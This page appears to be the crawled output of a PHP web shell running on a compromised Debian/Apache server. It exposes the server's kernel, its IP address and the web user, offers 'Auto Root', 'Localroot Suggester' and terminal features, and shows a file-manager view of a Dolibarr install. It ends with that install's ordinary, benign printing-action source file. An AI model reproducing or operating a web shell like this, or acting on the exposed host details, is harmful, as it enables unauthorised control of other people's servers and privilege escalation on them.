Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000_old /
htdocs /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
boxes
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
class
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
data
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
db
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
filemanagerdol
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
js
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
lib
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
login
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
menus
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
modules
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
tpl
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
triggers
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
actions_addupdatedelete.inc.php
15.54
KB
-rw-r--r--
2021-10-16 13:26
actions_builddoc.inc.php
4.82
KB
-rw-r--r--
2021-10-16 13:26
actions_changeselectedfields.inc.php
1.55
KB
-rw-r--r--
2021-10-16 13:26
actions_comments.inc.php
2.56
KB
-rw-r--r--
2021-10-16 13:26
actions_dellink.inc.php
1.59
KB
-rw-r--r--
2021-10-16 13:26
actions_extrafields.inc.php
12.33
KB
-rw-r--r--
2021-10-16 13:26
actions_fetchobject.inc.php
1.88
KB
-rw-r--r--
2021-10-16 13:26
actions_lineupdown.inc.php
2.53
KB
-rw-r--r--
2021-10-16 13:26
actions_linkedfiles.inc.php
10.71
KB
-rw-r--r--
2021-10-16 13:26
actions_massactions.inc.php
49.03
KB
-rw-r--r--
2021-10-16 13:26
actions_printing.inc.php
3.3
KB
-rw-r--r--
2021-10-16 13:26
actions_sendmails.inc.php
19.58
KB
-rw-r--r--
2021-10-16 13:26
actions_setmoduleoptions.inc.php
3.5
KB
-rw-r--r--
2021-10-16 13:26
actions_setnotes.inc.php
3.47
KB
-rw-r--r--
2021-10-16 13:26
antispamimage.php
1.88
KB
-rw-r--r--
2021-10-16 13:26
commonfieldsinexport.inc.php
2
KB
-rw-r--r--
2021-10-16 13:26
customreports.php
31.84
KB
-rw-r--r--
2021-10-16 13:26
datepicker.php
9.28
KB
-rw-r--r--
2021-10-16 13:26
doxygen.php
1.71
KB
-rw-r--r--
2021-10-16 13:26
extrafieldsinexport.inc.php
2.77
KB
-rw-r--r--
2021-10-16 13:26
get_info.php
7.9
KB
-rw-r--r--
2021-10-16 13:26
get_menudiv.php
6.98
KB
-rw-r--r--
2021-10-16 13:26
index.html
0
B
-rw-r--r--
2021-10-16 13:26
photos_resize.php
21.73
KB
-rw-r--r--
2021-10-16 13:26
search.php
4.92
KB
-rw-r--r--
2021-10-16 13:26
search_page.php
4.28
KB
-rw-r--r--
2021-10-16 13:26
tools.php
1.56
KB
-rw-r--r--
2021-10-16 13:26
website.inc.php
5.05
KB
-rw-r--r--
2021-10-16 13:26
Save
Rename
<?php /* Copyright (C) 2014-2016 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2014-2018 Frederic France <frederic.france@netlogic.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * or see https://www.gnu.org/ */ /** * \file htdocs/core/actions_printing.inc.php * \brief Code for actions print_file to print file with calling trigger */ // $action must be defined // $db, $user, $conf, $langs must be defined // Filename to print must be provided into 'file' parameter // Print file if ($action == 'print_file' && $user->rights->printing->read) { $langs->load("printing"); require_once DOL_DOCUMENT_ROOT.'/core/modules/printing/modules_printing.php'; $objectprint = new PrintingDriver($db); $list = $objectprint->listDrivers($db, 10); $dirmodels = array_merge(array('/core/modules/printing/'), (array) $conf->modules_parts['printing']); if (!empty($list)) { $errorprint = 0; $printerfound = 0; foreach ($list as $driver) { foreach ($dirmodels as $dir) { if (file_exists(dol_buildpath($dir, 0).$driver.'.modules.php')) { $classfile = dol_buildpath($dir, 0).$driver.'.modules.php'; break; } } require_once $classfile; $classname = 'printing_'.$driver; $printer = new $classname($db); $langs->load($printer::LANGFILE); //print '<pre>'.print_r($printer, true).'</pre>'; if (!empty($conf->global->{$printer->active})) { $printerfound++; $subdir = ''; $module = GETPOST('printer', 'alpha'); switch ($module) { case 'livraison' : $subdir = 'receipt'; $module = 'expedition'; break; case 'expedition' : $subdir = 'sending'; break; case 'commande_fournisseur' : $module = 'fournisseur'; $subdir = 'commande'; break; } try { $ret = $printer->printFile(GETPOST('file', 'alpha'), $module, $subdir); if ($ret > 0) { //print '<pre>'.print_r($printer->errors, true).'</pre>'; setEventMessages($printer->error, $printer->errors, 'errors'); } if ($ret == 0) { //print '<pre>'.print_r($printer->errors, true).'</pre>'; setEventMessages($printer->error, $printer->errors); setEventMessages($langs->transnoentitiesnoconv("FileWasSentToPrinter", basename(GETPOST('file', 'alpha'))).' '.$langs->transnoentitiesnoconv("ViaModule").' '.$printer->name, null); } } catch (Exception $e) { $ret = 1; setEventMessages($e->getMessage(), null, 'errors'); } } } if ($printerfound == 0) setEventMessages($langs->trans("NoActivePrintingModuleFound", $langs->transnoentities("Module64000Name")), null, 'warnings'); } else { setEventMessages($langs->trans("NoModuleFound"), null, 'warnings'); } $action = ''; }